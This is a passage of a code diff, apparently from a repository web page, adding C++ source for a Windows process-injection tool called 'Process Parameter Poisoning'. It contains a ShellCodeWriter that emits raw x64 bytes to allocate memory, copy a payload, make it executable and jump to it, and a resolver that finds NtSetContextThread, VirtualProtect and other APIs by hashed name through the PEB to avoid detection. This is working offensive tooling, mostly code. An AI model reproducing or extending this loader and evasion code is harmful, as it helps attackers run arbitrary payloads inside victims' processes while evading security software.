AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
|
||||||
|
m_total_consumed_stack_bytes += 32;
|
||||||
|
|
||||||
|
{ // 2. Allocates READWRITE memory
|
||||||
|
// VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
|
||||||
|
SetArgRegister(0, NULL);
|
||||||
|
SetArgRegister(1, shellcode.size());
|
||||||
|
SetArgRegister(2, MEM_COMMIT);
|
||||||
|
SetArgRegister(3, PAGE_READWRITE);
|
||||||
|
|
||||||
|
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||||
|
Call((uint64_t)winapi.VirtualAlloc);
|
||||||
|
}
|
||||||
|
|
||||||
|
{ // 3. Copies shellcode from the stack to the newly allocated area
|
||||||
|
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
|
||||||
|
|
||||||
|
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
|
||||||
|
|
||||||
|
SetRAX(shellcode.size()); // User Shellcode size
|
||||||
|
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; User Shellcode size
|
||||||
|
|
||||||
|
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // User Shellcode
|
||||||
|
|
||||||
|
// r10: Shellcode dest ptr
|
||||||
|
// r11: size
|
||||||
|
// rcx: Shellcode src ptr
|
||||||
|
|
||||||
|
const char* copy_sc = "\x8A\x01" // mov al, byte ptr ds:[rcx]
|
||||||
|
"\x41\x88\x02" // mov byte ptr ds:[r10], al
|
||||||
|
"\x48\xff\xc1" // inc rcx
|
||||||
|
"\x49\xff\xc2" // inc r10
|
||||||
|
"\x49\xff\xcb" // dec r11
|
||||||
|
"\x75\xf0"; // jnz -16
|
||||||
|
AppendShellCode(copy_sc, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
{ // 4. Changes protection of the newly allocated area to EXECUTE_READ
|
||||||
|
|
||||||
|
|
||||||
|
// VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src);
|
||||||
|
AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress
|
||||||
|
SetArgRegister(1, shellcode.size());
|
||||||
|
SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect
|
||||||
|
SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // Will overwrite the shellcode, but that is ok :)
|
||||||
|
|
||||||
|
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||||
|
Call((uint64_t)winapi.VirtualProtect);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((m_total_consumed_stack_bytes % 16))
|
||||||
|
{
|
||||||
|
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
|
||||||
|
m_total_consumed_stack_bytes += 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. Jumps to the newly allocated area
|
||||||
|
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::CallTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus)
|
||||||
|
{
|
||||||
|
SetArgRegister(0, (uint64_t)ProcessHandle);
|
||||||
|
SetArgRegister(1, ExitStatus);
|
||||||
|
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||||
|
Call((uint64_t)winapi.NtTerminateProcess);
|
||||||
|
FreeStack();
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::CallSuspendThread(HANDLE ThreadHandle, PULONG PreviousSuspendCount)
|
||||||
|
{
|
||||||
|
SetArgRegister(0, (uint64_t)ThreadHandle);
|
||||||
|
SetArgRegister(1, (uint64_t)PreviousSuspendCount);
|
||||||
|
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||||
|
Call((uint64_t)winapi.NtSuspendThread);
|
||||||
|
FreeStack();
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::AppendShellCode(const char* shellcode, size_t size)
|
||||||
|
{
|
||||||
|
m_sc_bytes.insert(m_sc_bytes.end(), shellcode, shellcode + size);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
|
||||||
|
{
|
||||||
|
const char gadget[] = "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
|
||||||
|
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
|
||||||
|
"\x4C\x31\xF8"; // xor rax, r15
|
||||||
|
uint64_t* xor_a = (uint64_t*)(gadget + 2);
|
||||||
|
uint64_t* xor_b = (uint64_t*)(gadget + 12);
|
||||||
|
*xor_a = xor_a_value;
|
||||||
|
*xor_b = xor_b_value;
|
||||||
|
AppendShellCode(gadget, 23);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void ShellCodeWriter::SetRAX(uint64_t value)
|
||||||
|
{
|
||||||
|
if (value == 0)
|
||||||
|
{
|
||||||
|
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
|
||||||
|
for (int i = 0; i < 8; i++) {
|
||||||
|
if (((uint8_t*)(&value))[i] == 0x01) {
|
||||||
|
((uint8_t*)(&xor_b))[i] = 0x02;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
xor_a = value ^ xor_b;
|
||||||
|
SetRAXXOR(xor_a, xor_b);
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::PushValue(uint64_t value)
|
||||||
|
{
|
||||||
|
SetRAX(value);
|
||||||
|
m_sc_bytes.push_back(0x50); // push rax
|
||||||
|
m_total_consumed_stack_bytes += 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::PushBuffer(const void* buf, size_t size)
|
||||||
|
{
|
||||||
|
std::vector<uint64_t> v_array;
|
||||||
|
uint64_t v = 0;
|
||||||
|
for (size_t i = 0; i < size; i++)
|
||||||
|
{
|
||||||
|
if (i > 0 && (i % 8) == 0)
|
||||||
|
{
|
||||||
|
v_array.push_back(v);
|
||||||
|
v = 0;
|
||||||
|
}
|
||||||
|
v >>= 8;
|
||||||
|
v |= ((uint64_t)(((uint8_t*)buf)[i]) << 56);
|
||||||
|
}
|
||||||
|
v >>= (8 * (8 - (size % 8)));
|
||||||
|
v_array.push_back(v);
|
||||||
|
|
||||||
|
for (int i = 0; i < v_array.size(); i++)
|
||||||
|
{
|
||||||
|
PushValue(v_array[v_array.size() - i - 1]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::SetArgRegister(int arg_index, uint64_t value)
|
||||||
|
{
|
||||||
|
const uint8_t ins_bytes0[] = { 0x48, 0x48, 0x49, 0x49 };
|
||||||
|
const uint8_t ins_bytes3[] = { 0xc1, 0xc2, 0xc0, 0xc1 };
|
||||||
|
if (arg_index < 0 || arg_index > 3)
|
||||||
|
{
|
||||||
|
printf("[-] Bad argid %d, expected 0-3\n", arg_index);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
SetRAX(value);
|
||||||
|
m_sc_bytes.push_back(ins_bytes0[arg_index]); // mov r<X>, rax
|
||||||
|
m_sc_bytes.push_back(0x89);
|
||||||
|
m_sc_bytes.push_back(ins_bytes3[arg_index]);
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::SetArgRegisterStackRelative(int arg_index, int stack_relative_offset)
|
||||||
|
{
|
||||||
|
const uint8_t ins_bytes0[] = { 0x48, 0x48, 0x49, 0x49 };
|
||||||
|
const uint8_t ins_bytes3[] = { 0xc1, 0xc2, 0xc0, 0xc1 };
|
||||||
|
if (arg_index < 0 || arg_index > 3)
|
||||||
|
{
|
||||||
|
printf("[-] Bad argid %d, expected 0-3\n", arg_index);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
SetRAX(stack_relative_offset);
|
||||||
|
AppendShellCode("\x48\x8D\x04\x04", 4); // lea rax, [rsp+rax]
|
||||||
|
m_sc_bytes.push_back(ins_bytes0[arg_index]); // mov r<X>, rax
|
||||||
|
m_sc_bytes.push_back(0x89);
|
||||||
|
m_sc_bytes.push_back(ins_bytes3[arg_index]);
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::Call(uint64_t pfn)
|
||||||
|
{
|
||||||
|
PushValue(pfn);
|
||||||
|
bool needs_align = (m_total_consumed_stack_bytes % 16);
|
||||||
|
if (needs_align)
|
||||||
|
{
|
||||||
|
AppendShellCode("\x50", 1); // push rax
|
||||||
|
m_total_consumed_stack_bytes += 8;
|
||||||
|
}
|
||||||
|
AppendShellCode("\x58\xff\xd0", 3); // pop rax; call rax;
|
||||||
|
m_total_consumed_stack_bytes -= 8;
|
||||||
|
if (needs_align)
|
||||||
|
{
|
||||||
|
AppendShellCode("\x41\x5F", 2); // pop r15
|
||||||
|
m_total_consumed_stack_bytes -= 8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShellCodeWriter::FreeStack()
|
||||||
|
{
|
||||||
|
if (m_total_consumed_stack_bytes < 0x80)
|
||||||
|
{
|
||||||
|
AppendShellCode("\x48\x83\xC4", 3); // add rsp, X
|
||||||
|
m_sc_bytes.push_back(m_total_consumed_stack_bytes);
|
||||||
|
}
|
||||||
|
AppendShellCode("\x49\x89\xC7", 3); // mov r15, rax
|
||||||
|
SetRAX(m_total_consumed_stack_bytes);
|
||||||
|
AppendShellCode("\x48\x01\xC4", 3); // add rsp, rax
|
||||||
|
AppendShellCode("\x4C\x89\xF8", 3); // mov rax, r15
|
||||||
|
m_total_consumed_stack_bytes = 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
/*
|
||||||
|
* File: ShellCodeUserInput.h
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#ifndef SHELLCODE_WRITER_H
|
||||||
|
#define SHELLCODE_WRITER_H
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <cinttypes>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
|
||||||
|
class ShellCodeWriter {
|
||||||
|
public:
|
||||||
|
ShellCodeWriter();
|
||||||
|
std::vector<uint8_t> GetShellCodeBytes();
|
||||||
|
|
||||||
|
|
||||||
|
void CallMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
|
||||||
|
void CallLoadLibraryA(LPCSTR p);
|
||||||
|
void CallTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus);
|
||||||
|
void CallSuspendThread(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
|
||||||
|
|
||||||
|
void LoadAndCallShellCode(const std::vector<uint8_t>& shellcode);
|
||||||
|
|
||||||
|
void AppendShellCode(const char* shellcode, size_t size);
|
||||||
|
private:
|
||||||
|
uint32_t m_total_consumed_stack_bytes;
|
||||||
|
std::vector<uint8_t> m_sc_bytes;
|
||||||
|
|
||||||
|
|
||||||
|
void SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value);
|
||||||
|
void SetRAX(uint64_t value);
|
||||||
|
|
||||||
|
void PushValue(uint64_t value);
|
||||||
|
void PushBuffer(const void* buf, size_t size);
|
||||||
|
|
||||||
|
void SetArgRegister(int arg_index, uint64_t value);
|
||||||
|
void SetArgRegisterStackRelative(int arg_index, int stack_relative_offset);
|
||||||
|
void Call(uint64_t pfn);
|
||||||
|
|
||||||
|
void FreeStack();
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // SHELLCODE_WRITER_H
|
||||||
@@ -0,0 +1,150 @@
|
|||||||
|
/**
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
* Project: Process Parameter Poisoning
|
||||||
|
* Notes: Built with ❤️ and undefined behavior.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
#define PPEB_CURRENT ((PPEB)__readgsqword(0x60))
|
||||||
|
#else
|
||||||
|
#define PPEB_CURRENT ((PPEB)__readfsdword(0x30))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define INITIAL_HASH 3731
|
||||||
|
#define INITIAL_SEED 5
|
||||||
|
|
||||||
|
#include "WinApiResolver.h"
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
WinApiResolver::WinApiResolver() {}
|
||||||
|
|
||||||
|
WinApiResolver* WinApiResolver::m_instance = nullptr;
|
||||||
|
|
||||||
|
WinApiResolver& WinApiResolver::GetInstance()
|
||||||
|
{
|
||||||
|
if (m_instance)
|
||||||
|
return *m_instance;
|
||||||
|
m_instance = new WinApiResolver();
|
||||||
|
m_instance->ResolveAPIs();
|
||||||
|
return *m_instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD HashStringDjb2A(const char* String) {
|
||||||
|
|
||||||
|
ULONG Hash = INITIAL_HASH;
|
||||||
|
INT c;
|
||||||
|
while (c = tolower(*String++))
|
||||||
|
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
|
||||||
|
return Hash;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD HashStringDjb2W(const wchar_t* String) {
|
||||||
|
|
||||||
|
ULONG Hash = INITIAL_HASH;
|
||||||
|
INT c;
|
||||||
|
while (c = towlower(*String++))
|
||||||
|
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
|
||||||
|
return Hash;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Finds the base address of a module via the PEB list (Hashed version)
|
||||||
|
HMODULE FindModuleBaseH(DWORD moduleName)
|
||||||
|
{
|
||||||
|
PPEB peb = PPEB_CURRENT;
|
||||||
|
PLIST_ENTRY head = &peb->Ldr->InLoadOrderModuleList;
|
||||||
|
PLIST_ENTRY curr = head->Flink;
|
||||||
|
|
||||||
|
while (curr != head)
|
||||||
|
{
|
||||||
|
PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
|
||||||
|
|
||||||
|
if (HashStringDjb2W(entry->BaseDllName.Buffer) == moduleName)
|
||||||
|
{
|
||||||
|
return (HMODULE)entry->DllBase;
|
||||||
|
}
|
||||||
|
|
||||||
|
curr = curr->Flink;
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Own GetProcAddress with API-Hashing: Parsing the export table
|
||||||
|
FARPROC MyGetProcAddressH(HMODULE hModule, DWORD hashedApiName)
|
||||||
|
{
|
||||||
|
BYTE* base = (BYTE*)hModule;
|
||||||
|
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
|
||||||
|
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
|
||||||
|
|
||||||
|
IMAGE_DATA_DIRECTORY exportDirData = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
if (exportDirData.VirtualAddress == 0)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(base + exportDirData.VirtualAddress);
|
||||||
|
|
||||||
|
DWORD* nameTable = (DWORD*)(base + exportDir->AddressOfNames);
|
||||||
|
WORD* ordTable = (WORD*)(base + exportDir->AddressOfNameOrdinals);
|
||||||
|
DWORD* funcTable = (DWORD*)(base + exportDir->AddressOfFunctions);
|
||||||
|
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
|
||||||
|
{
|
||||||
|
const char* name = (const char*)(base + nameTable[i]);
|
||||||
|
if (HashStringDjb2A(name) == hashedApiName)
|
||||||
|
{
|
||||||
|
WORD ordinal = ordTable[i];
|
||||||
|
DWORD rva = funcTable[ordinal];
|
||||||
|
return (FARPROC)(base + rva);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define HASH_NTDLL_DLL 0x16B84F3B
|
||||||
|
|
||||||
|
#define HASH_NTQUERYINFORMATIONPROCESS 0xee588630
|
||||||
|
#define HASH_NTREADVIRTUALMEMORYEX 0x67801fee
|
||||||
|
#define HASH_NTPROTECTVIRTUALMEMORY 0xaf858f56
|
||||||
|
#define HASH_NTSETCONTEXTTHREAD 0xd0d4165e
|
||||||
|
#define HASH_NTGETCONTEXTTHREAD 0x3e564fd2
|
||||||
|
#define HASH_NTTERMINATEPROCESS 0x200d349d
|
||||||
|
#define HASH_NTSUSPENDTHREAD 0x41e4958f
|
||||||
|
#define HASH_NTRESUMETHREAD 0x9b31cb9e
|
||||||
|
#define HASH_LDRCONTROLFLOWGUARDENFORCED 0xb6eef67
|
||||||
|
|
||||||
|
|
||||||
|
#define HASH_KERNEL32_DLL 0xddb5ad03
|
||||||
|
|
||||||
|
#define HASH_LOADLIBRARYA 0x73daf7e9
|
||||||
|
#define HASH_VIRTUALALLOC 0xc64f8a65
|
||||||
|
#define HASH_VIRTUALPROTECT 0x293d57db
|
||||||
|
|
||||||
|
|
||||||
|
#define HASH_USER32_DLL 0xcae39701
|
||||||
|
|
||||||
|
#define HASH_MESSAGEBOXA 0x63676de2
|
||||||
|
|
||||||
|
|
||||||
|
#define RESOLVE_API(X, MH, PH) do { X = (X ## _t)(MyGetProcAddressH(FindModuleBaseH(MH), PH)); if(!X) { printf("[-] Failed to resolve %x\n", PH); exit(-1); } } while(false)
|
||||||
|
|
||||||
|
void WinApiResolver::ResolveAPIs()
|
||||||
|
{
|
||||||
|
// NTDLL.DLL
|
||||||
|
RESOLVE_API(NtQueryInformationProcess, HASH_NTDLL_DLL, HASH_NTQUERYINFORMATIONPROCESS);
|
||||||
|
RESOLVE_API(NtProtectVirtualMemory, HASH_NTDLL_DLL, HASH_NTPROTECTVIRTUALMEMORY);
|
||||||
|
RESOLVE_API(NtReadVirtualMemoryEx, HASH_NTDLL_DLL, HASH_NTREADVIRTUALMEMORYEX);
|
||||||
|
RESOLVE_API(NtSetContextThread, HASH_NTDLL_DLL, HASH_NTSETCONTEXTTHREAD);
|
||||||
|
RESOLVE_API(NtGetContextThread, HASH_NTDLL_DLL, HASH_NTGETCONTEXTTHREAD);
|
||||||
|
RESOLVE_API(NtTerminateProcess, HASH_NTDLL_DLL, HASH_NTTERMINATEPROCESS);
|
||||||
|
RESOLVE_API(NtSuspendThread, HASH_NTDLL_DLL, HASH_NTSUSPENDTHREAD);
|
||||||
|
RESOLVE_API(LdrControlFlowGuardEnforced, HASH_NTDLL_DLL, HASH_LDRCONTROLFLOWGUARDENFORCED);
|
||||||
|
|
||||||
|
// KERNEL32.DLL
|
||||||
|
RESOLVE_API(LoadLibraryA, HASH_KERNEL32_DLL, HASH_LOADLIBRARYA);
|
||||||
|
RESOLVE_API(VirtualAlloc, HASH_KERNEL32_DLL, HASH_VIRTUALALLOC);
|
||||||
|
RESOLVE_API(VirtualProtect, HASH_KERNEL32_DLL, HASH_VIRTUALPROTECT);
|
||||||
|
|
||||||
|
LoadLibrary(L"user32.dll");
|
||||||
|
// USER32.DLL
|
||||||
|
RESOLVE_API(MessageBoxA, HASH_USER32_DLL, HASH_MESSAGEBOXA);
|
||||||
|
}
|
||||||
@@ -0,0 +1,115 @@
|
|||||||
|
/*
|
||||||
|
* File: WinApiResolver.h
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef WINAPIRESOLVER_H
|
||||||
|
#define WINAPIRESOLVER_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include "imports.h"
|
||||||
|
|
||||||
|
|
||||||
|
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
|
||||||
|
HANDLE,
|
||||||
|
PROCESSINFOCLASS,
|
||||||
|
PVOID,
|
||||||
|
ULONG,
|
||||||
|
PULONG);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtProtectVirtualMemory_t)(
|
||||||
|
HANDLE,
|
||||||
|
PVOID,
|
||||||
|
PSIZE_T,
|
||||||
|
ULONG,
|
||||||
|
PULONG);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtReadVirtualMemoryEx_t)(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
PVOID BaseAddress,
|
||||||
|
PVOID Buffer,
|
||||||
|
SIZE_T NumberOfBytesToRead,
|
||||||
|
PSIZE_T NumberOfBytesRead,
|
||||||
|
ULONG Flags
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtSetContextThread_t)(
|
||||||
|
HANDLE ThreadHandle,
|
||||||
|
PCONTEXT ThreadContext
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtGetContextThread_t)(
|
||||||
|
HANDLE ThreadHandle,
|
||||||
|
PCONTEXT ThreadContext
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtTerminateProcess_t)(
|
||||||
|
_In_opt_ HANDLE ProcessHandle,
|
||||||
|
_In_ NTSTATUS ExitStatus
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtSuspendThread_t)(
|
||||||
|
_In_ HANDLE ThreadHandle,
|
||||||
|
_Out_opt_ PULONG PreviousSuspendCount
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* LdrControlFlowGuardEnforced_t)(
|
||||||
|
VOID
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef HMODULE(*LoadLibraryA_t)(
|
||||||
|
LPCSTR lpLibFileName
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef LPVOID(*VirtualAlloc_t)(
|
||||||
|
LPVOID lpAddress,
|
||||||
|
SIZE_T dwSize,
|
||||||
|
DWORD flAllocationType,
|
||||||
|
DWORD flProtect
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef BOOL(*VirtualProtect_t)(
|
||||||
|
LPVOID lpAddress,
|
||||||
|
SIZE_T dwSize,
|
||||||
|
DWORD flNewProtect,
|
||||||
|
PDWORD lpflOldProtect
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef int (*MessageBoxA_t)(
|
||||||
|
HWND hWnd,
|
||||||
|
LPCSTR lpText,
|
||||||
|
LPCSTR lpCaption,
|
||||||
|
UINT uType
|
||||||
|
);
|
||||||
|
|
||||||
|
class WinApiResolver {
|
||||||
|
|
||||||
|
public:
|
||||||
|
static WinApiResolver& GetInstance();
|
||||||
|
|
||||||
|
// NTDLL.DLL
|
||||||
|
NtQueryInformationProcess_t NtQueryInformationProcess;
|
||||||
|
NtProtectVirtualMemory_t NtProtectVirtualMemory;
|
||||||
|
NtReadVirtualMemoryEx_t NtReadVirtualMemoryEx;
|
||||||
|
NtSetContextThread_t NtSetContextThread;
|
||||||
|
NtGetContextThread_t NtGetContextThread;
|
||||||
|
NtTerminateProcess_t NtTerminateProcess;
|
||||||
|
NtSuspendThread_t NtSuspendThread;
|
||||||
|
LdrControlFlowGuardEnforced_t LdrControlFlowGuardEnforced;
|
||||||
|
|
||||||
|
// KERNEL32.DLL
|
||||||
|
LoadLibraryA_t LoadLibraryA;
|
||||||
|
VirtualAlloc_t VirtualAlloc;
|
||||||
|
VirtualProtect_t VirtualProtect;
|
||||||
|
|
||||||
|
// USER32.DLL
|
||||||
|
MessageBoxA_t MessageBoxA;
|
||||||
|
private:
|
||||||
|
static WinApiResolver* m_instance;
|
||||||
|
|
||||||
|
WinApiResolver();
|
||||||
|
|
||||||
|
void ResolveAPIs();
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // WINAPIRESOLVER_H
|
||||||
+15702
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user